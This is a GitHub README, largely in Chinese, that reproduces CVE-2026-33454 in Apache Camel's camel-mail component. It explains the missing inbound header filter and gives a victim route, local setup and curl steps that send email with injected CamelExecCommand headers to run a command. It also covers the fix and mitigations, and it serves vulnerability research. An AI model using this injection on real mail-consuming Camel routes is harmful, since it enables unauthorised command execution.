oscerd/CVE-2026-33454
GitHub: oscerd/CVE-2026-33454
该项目复现了 Apache Camel 的 camel-mail 组件因入站消息头未过滤而导致远程代码执行的 CVE-2026-33454 漏洞。
Stars: 1 | Forks: 1
# camel-mail Header Injection → RCE 漏洞复现 (CVE-2026-33454)
本项目演示了 Apache Camel 的 `camel-mail` 组件中的一个 **Camel 消息头注入 (message header injection)** 漏洞,追踪编号为 **CVE-2026-33454**。能够向 Camel 邮件消费者监控的邮箱投递邮件的攻击者,可以向 Exchange 中注入 `Camel*` 控制头,当路由将其转发到对头部敏感的 producer(如 `camel-exec`)时,即可实现 **远程代码执行 (RCE)**。
安全通告:https://camel.apache.org/security/CVE-2026-33454.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-mail` |
| **受影响类** | `org.apache.camel.component.mail.MailHeaderFilterStrategy` (+ `MailBinding.extractHeadersFromMail`) |
| **根本原因** | 过滤器策略仅配置了 OUT 方向 (`setOutFilterStartsWith`) 而未配置 IN 方向,导致入站 MIME 头未被过滤 |
| **CWE** | CWE-20: 输入验证不正确 (Camel 消息头注入) |
| **影响** | 远程代码执行 (通过对头部敏感的 producer,例如 camel-exec) |
| **受影响版本** | 从 3.0.0 到 4.14.6 之前的版本,以及从 4.15.0 到 4.18.1 之前的版本 |
| **修复版本** | 4.14.6, 4.18.1, 4.19.0 |
| **JIRA** | CAMEL-23222 |
| **报告者** | Hyunwoo Kim (@v4bel) |
## 技术细节
`MailHeaderFilterStrategy` 继承自 `DefaultHeaderFilterStrategy`。在受影响的版本中,其构造函数仅配置了 **out** 过滤器,而从未设置 **in** 过滤器:
```
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT only
// no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}
```
当 Camel 消费邮件(例如 `from("imap://...")` 或 `from("pop3://...")`)时,`MailBinding.extractHeadersFromMail()` 会将每个 MIME 头复制到 Exchange 的 In 头中,这一过程受 `headerFilterStrategy.applyFilterToExternalHeaders(...)` 控制。由于从未配置 **in** 过滤器,以 `Camel*` 为前缀的 MIME 头将直接穿透:
```
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
```
因此,能够向受监控邮箱发送邮件的攻击者可以设置任意的 `Camel*` 控制头。当路由将其转发给对头部敏感的 producer(例如 `camel-exec`)时,`CamelExecCommandExecutable` / `CamelExecCommandArgs` 头会覆盖原命令(在受影响版本中默认被接受)→ 从而导致任意操作系统命令执行。
## 受害者路由
```
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class);
```
## 前置条件
- Java 17+
- Maven 3.8+
- Docker (用于运行邮件服务器)
## 复现步骤
### 步骤 1:启动邮件服务器 (Docker)
GreenMail 容器提供了 SMTP (3025) 和 IMAP (3143) 服务,并包含一个单独的邮箱(登录名 `victim`,密码 `secret`,地址 `victim@localhost`):
```
docker compose up -d
# 或者:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
```
### 步骤 2:构建并启动应用
```
mvn clean package -DskipTests
mvn spring-boot:run
```
启动 IMAP 受害者路由以及运行在 8080 端口的辅助 REST controller。
### 步骤 3:正常邮件 (健全性测试)
```
curl http://localhost:8080/exploit/normal
```
消费者会获取该邮件并运行 `echo hello`。
### 步骤 4:攻击 — 发送一封包含注入的 Camel* MIME 头的邮件
```
# 默认良性证明:touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# 或选择 executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
```
这将发送一封 MIME 头包含以下内容的邮件:
```
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
```
### 步骤 5:验证
```
# 等待约 2s 以进入 IMAP poll cycle,然后:
ls -la /tmp/pwned
```
如果 `/tmp/pwned` 存在,则说明注入的 MIME 头成功覆盖了 exec 命令 → RCE。
### 清理
```
docker compose down # or: docker rm -f greenmail-cve
```
## 攻击向量
该注入仅需要在下游使用一个对头部敏感的 producer。安全通告中指出了 camel-bean、camel-exec 和 camel-sql;更广泛地说:
- **camel-exec** — `CamelExecCommandExecutable` / `CamelExecCommandArgs` → 操作系统命令执行
- **camel-file** — `CamelFileName` → 任意文件写入 / 路径遍历
- **camel-bean** — `CamelBeanMethodName` → 调用其他方法
- **camel-sql** — 查询控制头
## 利用条件
1. 一个消费邮件的 Camel 路由 (`imap://`, `imaps://`, `pop3://`, ...)。
2. 该路由转发到(或受影响于)一个对头部敏感的 producer。
3. 在邮件消费者与该 producer 之间没有使用 `removeHeaders("Camel*")`。
攻击者只需能够向受监控的邮箱发送邮件即可。
## 建议修复
该修复 (CAMEL-23222) 同样配置了入站过滤器:
```
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // now the inbound direction is filtered too
}
```
## 缓解措施
在升级之前:
1. **剥离 Camel 头** 从邮件来源的消息中:在 `from("imap:...")` 之后紧接使用 `.removeHeaders("Camel*")`。
2. **避免使用对头部敏感的 producer** 作为不受信任邮件的下游,或者固定其配置。
3. **限制投递权限** 严格控制谁可以向受监控的邮箱投递邮件。
## 文件
```
CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── MailExecRoute.java # the vulnerable victim route (imap -> exec)
│ └── ExploitController.java # attacker: delivers the malicious email via SMTP
└── resources/
└── application.properties
```
## 免责声明
本复现项目仅用于**安全研究和授权测试**,针对的是一个**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, JS文件枚举, 域名枚举, 漏洞复现, 编程工具, 请求拦截, 远程代码执行, 邮件协议